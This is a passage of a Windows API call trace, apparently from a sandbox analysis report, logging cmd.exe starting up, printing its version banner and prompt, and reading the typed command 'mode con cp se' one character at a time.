(_String1="PROMPT", _String2="CD") returned 13 [0184.421] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0184.421] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0184.421] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0184.421] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0184.421] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0184.421] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0184.421] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0184.421] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0184.421] GetProcessHeap () returned 0x370000 [0184.421] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3894f0 | out: hHeap=0x370000) returned 1 [0184.421] GetEnvironmentStringsW () returned 0x388a60* [0184.421] GetProcessHeap () returned 0x370000 [0184.421] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xa94) returned 0x38ac30 [0184.421] FreeEnvironmentStringsW (penv=0x388a60) returned 1 [0184.421] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0184.421] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0184.421] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0184.421] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0184.421] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0184.421] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0184.421] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0184.421] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0184.421] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0184.421] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0184.421] GetProcessHeap () returned 0x370000 [0184.422] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x38) returned 0x386490 [0184.422] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22f9d0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0184.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x22f9d0, lpFilePart=0x22f9b0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x22f9b0*="system32") returned 0x13 [0184.422] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0184.422] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x22f6e0 | out: lpFindFileData=0x22f6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Windows", cAlternateFileName="")) returned 0x38b6d0 [0184.422] FindClose (in: hFindFile=0x38b6d0 | out: hFindFile=0x38b6d0) returned 1 [0184.422] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x22f6e0 | out: lpFindFileData=0x22f6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9dde4ab0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0x9dde4ab0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="System32", cAlternateFileName="")) returned 0x38b6d0 [0184.422] FindClose (in: hFindFile=0x38b6d0 | out: hFindFile=0x38b6d0) returned 1 [0184.422] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0184.422] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0184.422] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0184.422] GetProcessHeap () returned 0x370000 [0184.422] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ac30 | out: hHeap=0x370000) returned 1 [0184.422] GetEnvironmentStringsW () returned 0x38ac30* [0184.422] GetProcessHeap () returned 0x370000 [0184.422] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xac4) returned 0x388a60 [0184.422] FreeEnvironmentStringsW (penv=0x38ac30) returned 1 [0184.422] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a29c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0184.422] GetProcessHeap () returned 0x370000 [0184.423] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x386490 | out: hHeap=0x370000) returned 1 [0184.423] GetProcessHeap () returned 0x370000 [0184.423] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x4016) returned 0x38ac30 [0184.423] GetProcessHeap () returned 0x370000 [0184.423] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ac30 | out: hHeap=0x370000) returned 1 [0184.423] GetConsoleOutputCP () returned 0x1b5 [0184.423] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a29bfe0 | out: lpCPInfo=0x4a29bfe0) returned 1 [0184.423] GetUserDefaultLCID () returned 0x409 [0184.423] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a297b50, cchData=8 | out: lpLCData=":") returned 2 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22fae0, cchData=128 | out: lpLCData="0") returned 2 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22fae0, cchData=128 | out: lpLCData="0") returned 2 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22fae0, cchData=128 | out: lpLCData="1") returned 2 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a2aa740, cchData=8 | out: lpLCData="/") returned 2 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a2aa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a2aa460, cchData=32 | out: lpLCData="Tue") returned 4 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a2aa420, cchData=32 | out: lpLCData="Wed") returned 4 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a2aa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a2aa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a2aa360, cchData=32 | out: lpLCData="Sat") returned 4 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a2aa700, cchData=32 | out: lpLCData="Sun") returned 4 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a297b40, cchData=8 | out: lpLCData=".") returned 2 [0184.424] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a2aa4e0, cchData=8 | out: lpLCData=",") returned 2 [0184.424] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0184.425] GetProcessHeap () returned 0x370000 [0184.425] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x20c) returned 0x3895a0 [0184.425] GetConsoleTitleW (in: lpConsoleTitle=0x3895a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0184.426] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.426] GetFileType (hFile=0xf4) returned 0x3 [0184.427] BrandingFormatString () returned 0x3897c0 [0184.549] GetVersion () returned 0x1db10106 [0184.549] _vsnwprintf (in: _Buffer=0x22fc50, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x22fbe8 | out: _Buffer="6.1.7601") returned 8 [0184.549] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.549] GetFileType (hFile=0xf4) returned 0x3 [0184.549] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a2a6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0184.549] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a2a6340, nSize=0x2000, Arguments=0x22fbf0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0184.549] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0184.549] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x22fb78, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22fb78*=0x24, lpOverlapped=0x0) returned 1 [0184.549] _vsnwprintf (in: _Buffer=0x4a2a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22fc18 | out: _Buffer="\r\n") returned 2 [0184.549] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.549] GetFileType (hFile=0xf4) returned 0x3 [0184.549] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0184.549] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x22fbe8, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22fbe8*=0x2, lpOverlapped=0x0) returned 1 [0184.549] _vsnwprintf (in: _Buffer=0x4a2a6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x22fc18 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0184.549] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.549] GetFileType (hFile=0xf4) returned 0x3 [0184.549] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0184.549] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x22fbe8, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22fbe8*=0x3f, lpOverlapped=0x0) returned 1 [0184.549] _vsnwprintf (in: _Buffer=0x4a2a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22fc18 | out: _Buffer="\r\n") returned 2 [0184.549] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.550] GetFileType (hFile=0xf4) returned 0x3 [0184.550] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0184.550] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x22fbe8, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22fbe8*=0x2, lpOverlapped=0x0) returned 1 [0184.550] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77890000 [0184.550] GetProcAddress (hModule=0x77890000, lpProcName="CopyFileExW") returned 0x778a23d0 [0184.550] GetProcAddress (hModule=0x77890000, lpProcName="IsDebuggerPresent") returned 0x77898290 [0184.550] GetProcAddress (hModule=0x77890000, lpProcName="SetConsoleInputExeNameW") returned 0x778a17e0 [0184.550] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.550] GetFileType (hFile=0xe8) returned 0x3 [0184.550] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0184.551] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x22fa40 | out: TokenHandle=0x22fa40*=0x0) returned 0xc000007c [0184.551] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x22fa40 | out: TokenHandle=0x22fa40*=0x50) returned 0x0 [0184.551] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x22fa50, TokenInformationLength=0x4, ReturnLength=0x22fa58 | out: TokenInformation=0x22fa50, ReturnLength=0x22fa58) returned 0x0 [0184.551] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x22fa58, TokenInformationLength=0x4, ReturnLength=0x22fa50 | out: TokenInformation=0x22fa58, ReturnLength=0x22fa50) returned 0x0 [0184.551] NtClose (Handle=0x50) returned 0x0 [0184.551] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x22fa20, nSize=0x0, Arguments=0x22fa28 | out: lpBuffer="韀8") returned 0xf [0184.551] GetProcessHeap () returned 0x370000 [0184.551] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x218) returned 0x389be0 [0184.551] GetConsoleTitleW (in: lpConsoleTitle=0x22fa70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0184.551] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0184.551] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0184.843] GetProcessHeap () returned 0x370000 [0184.843] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x389be0 | out: hHeap=0x370000) returned 1 [0184.843] LocalFree (hMem=0x3897c0) returned 0x0 [0184.843] GetProcessHeap () returned 0x370000 [0184.843] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38aa10 | out: hHeap=0x370000) returned 1 [0184.844] _vsnwprintf (in: _Buffer=0x4a2a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22f758 | out: _Buffer="\r\n") returned 2 [0184.844] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.844] GetFileType (hFile=0xf4) returned 0x3 [0184.844] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0184.844] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x22f728, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22f728*=0x2, lpOverlapped=0x0) returned 1 [0184.844] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0184.844] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a29c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0184.844] _vsnwprintf (in: _Buffer=0x4a28eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x22f768 | out: _Buffer="C:\\Windows\\system32") returned 19 [0184.844] _vsnwprintf (in: _Buffer=0x4a28eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x22f768 | out: _Buffer=">") returned 1 [0184.844] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.844] GetFileType (hFile=0xf4) returned 0x3 [0184.844] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0184.844] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x22f758, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22f758*=0x14, lpOverlapped=0x0) returned 1 [0184.844] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.844] GetFileType (hFile=0xe8) returned 0x3 [0184.844] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.844] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.844] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0184.845] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.845] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.845] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0184.845] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.845] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.845] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0184.845] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.845] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.845] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0184.845] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.845] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.845] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0184.845] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.845] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.845] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0184.845] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.845] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.845] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0184.846] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.846] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.846] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0184.846] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.846] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.846] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0184.846] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.846] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.846] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0184.846] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.846] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.846] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0184.846] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.846] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.846] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0184.846] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.846] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.846] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0184.846] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.846] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.846] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0184.846] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.847] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.847] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, 